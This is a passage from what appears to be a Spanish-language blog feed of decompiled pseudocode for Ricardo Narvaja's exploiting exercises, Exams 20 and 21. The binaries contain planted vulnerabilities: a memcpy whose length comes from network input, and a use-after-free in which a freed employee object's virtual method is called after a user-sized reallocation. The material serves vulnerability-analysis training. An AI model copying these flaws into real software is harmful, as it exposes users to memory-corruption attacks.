</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4017F0</span>((<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>), v3);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(<span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">416</span>), this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>, <span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">456</span>) <span style="color:#f92672">=</span> dword_404084;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(<span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">416</span>), Src, <span style="color:#ae81ff">12288</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)Src;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4017F0</span>(<span style="color:#e6db74">"%x</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">"</span>, v4);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v4 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> Size <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span> dword_404078 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memcpy</span>((<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">660</span>), Src, Size);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> (<span style="color:#66d9ef">int</span>)Size; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_BYTE <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4756</span>) <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(_BYTE <span style="color:#f92672">*</span>)(i <span style="color:#f92672">+</span> this <span style="color:#f92672">+</span> <span style="color:#ae81ff">660</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(_BYTE <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4756</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">4</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(_BYTE <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4756</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">65</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dword_404078 <span style="color:#f92672">!=</span> (<span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)dword_404080 <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x89765432</span>) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bye Bye</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> __noreturn <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v3; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v4[<span style="color:#ae81ff">4960</span>]; <span style="color:#75715e">// [esp+0h] [ebp-26C0h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5[<span style="color:#ae81ff">4960</span>]; <span style="color:#75715e">// [esp+1360h] [ebp-1360h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"WCMZIP32.DLL"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401020</span>(v5);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401650</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">sub_4010E0</span>(v5) <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401020</span>(v4);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401490</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401650</span>(v3);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401240</span>(v4);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 20 (Servidor, libiconv-2.dll, iconv.dll, intl.dll)
https://imlauera.github.io/post/ricardo_narvaja_20/
Tue, 27 Aug 2024 14:54:39 -0300
https://imlauera.github.io/post/ricardo_narvaja_20/
<h4 id="hay-3-exámenes">Hay 3 exámenes</h4>
<h2 id="examen-a">Examen a</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>_BYTE <span style="color:#f92672">*</span><span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_40ADB0</span>(_BYTE <span style="color:#f92672">*</span>a1, _BYTE <span style="color:#f92672">*</span>a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> _BYTE <span style="color:#f92672">*</span>v2; <span style="color:#75715e">// edi
</span></span></span><span style="display:flex;"><span> _BYTE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// ecx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v5; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> _BYTE <span style="color:#f92672">*</span>result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> a1;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> a2;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ((<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int8</span>)a2 <span style="color:#f92672">&</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span>LABEL_6:
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> (<span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">2130640639</span>) <span style="color:#f92672">^</span> <span style="color:#f92672">~*</span>(_DWORD <span style="color:#f92672">*</span>)v3;
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v3;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v5 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0x81010100</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>(_BYTE)v4 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_14;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">BYTE1</span>(v4) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_WORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int8</span>)v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> a1;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v4 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFF0000</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_WORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a1;
</span></span><span style="display:flex;"><span> v2[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v4 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFF000000</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> a1;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LOBYTE</span>(v4) <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v3<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>(_BYTE)v4 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v2<span style="color:#f92672">++</span> <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ((<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int8</span>)v3 <span style="color:#f92672">&</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_6;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>LABEL_14:
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> a1;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// ebx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> (__thiscall <span style="color:#f92672">**</span>v4)(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">int</span>); <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> (__thiscall <span style="color:#f92672">**</span>v5)(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">int</span>); <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v6; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v7; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v8; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>v9; <span style="color:#75715e">// esi
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v10; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v11; <span style="color:#75715e">// si
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v13; <span style="color:#75715e">// [esp+0h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v14; <span style="color:#75715e">// [esp+0h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v15; <span style="color:#75715e">// [esp+0h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>Block; <span style="color:#75715e">// [esp+Ch] [ebp-8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> Size; <span style="color:#75715e">// [esp+10h] [ebp-4h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> Size <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"iconv.dll"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"intl.dll"</span>);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">416u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v3 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>off_40327C;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v3;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">53</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">2010</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">35</span>;
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>v4)(v3, <span style="color:#ae81ff">2000</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strncpy</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">216</span>, <span style="color:#e6db74">"pepe"</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(<span style="color:#f92672">*</span>v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>))(v3);
</span></span><span style="display:flex;"><span> Block <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">0x1A0u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>Block <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>off_40327C;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>Block;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">53</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">2011</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">39</span>;
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>v5)(Block, <span style="color:#ae81ff">3000</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strncpy</span>(Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">216</span>, <span style="color:#e6db74">"jose"</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(<span style="color:#f92672">*</span>Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>))(Block);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese Curriculum Empleados</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v13);
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fgets</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">200</span>, v6);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fgets</span>(Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">200</span>, v7);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">strlen</span>(v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">>=</span> <span style="color:#ae81ff">0x14</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">strlen</span>(Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">>=</span> <span style="color:#ae81ff">0x14</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_9;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Despedir empleado curriculum insuficiente</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v14);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>Block <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>off_40327C;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401318</span>(Block);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Despedir empleado curriculum insuficiente</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v14);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v3 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>off_40327C;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401318</span>(v3);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese largo de curriculum de nuevo empleado</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v15);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>, <span style="color:#f92672">&</span>Size);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">getchar</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v8 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">&&</span> v8 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> );
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(Size);
</span></span><span style="display:flex;"><span> v10 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fgets</span>(v9, Size, v10);
</span></span><span style="display:flex;"><span>LABEL_9:
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Calcular ahorro en sueldos</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v14);
</span></span><span style="display:flex;"><span> v11 <span style="color:#f92672">=</span> (<span style="color:#f92672">*</span>(<span style="color:#f92672">*</span>v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>))(v3);
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(<span style="color:#f92672">*</span>Block <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>))(Block);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"gasto actual% d"</span>, v11);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 21 (Ejecutar la calculadora, con base de datos:ConsoleApplication4.pdb)
https://imlauera.github.io/post/ricardo_narvaja_21/
Tue, 27 Aug 2024 14:54:39 -0300
https://imlauera.github.io/post/ricardo_narvaja_21/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> __thiscall <span style="color:#a6e22e">sub_401050</span>(_DWORD <span style="color:#f92672">*</span>this, <span style="color:#66d9ef">int</span> a2, <span style="color:#66d9ef">int</span> a3, <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>a4, <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>a5)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v6[<span style="color:#ae81ff">256</span>]; <span style="color:#75715e">// [esp+0h] [ebp-404h] BYREF
</span></span></span><span style="display:flex;"><span> _DWORD <span style="color:#f92672">*</span>v7; <span style="color:#75715e">// [esp+400h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> this;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401010</span>(this, a2, a3, a4, a5);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v7 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>off_41A348;
</span></span><span style="display:flex;"><span> a2 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> a3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> a4 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>a2;
</span></span><span style="display:flex;"><span> a5 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>a3;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v7 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1024</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v7 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1025</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v7 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1026</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401010</span>(v6, a2, a3, a4, a5);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> v7;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>_DWORD <span style="color:#f92672">*</span>__thiscall <span style="color:#a6e22e">sub_401010</span>(_DWORD <span style="color:#f92672">*</span>this, <span style="color:#66d9ef">int</span> a2, <span style="color:#66d9ef">int</span> a3, <span style="color:#66d9ef">int</span> a4, <span style="color:#66d9ef">int</span> a5)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>this <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>off_41A33C;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> a2;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">3</span>] <span style="color:#f92672">=</span> a3;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">5</span>] <span style="color:#f92672">=</span> a5;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">=</span> a4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> this;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>LPVOID <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_40C2D8</span>(SIZE_T dwBytes)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> SIZE_T v1; <span style="color:#75715e">// esi
</span></span></span><span style="display:flex;"><span> LPVOID result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> dwBytes;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dwBytes <span style="color:#f92672">></span> <span style="color:#ae81ff">0xFFFFFFE0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span>LABEL_8:
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)<span style="color:#a6e22e">sub_40CBC6</span>() <span style="color:#f92672">=</span> <span style="color:#ae81ff">12</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>dwBytes )
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
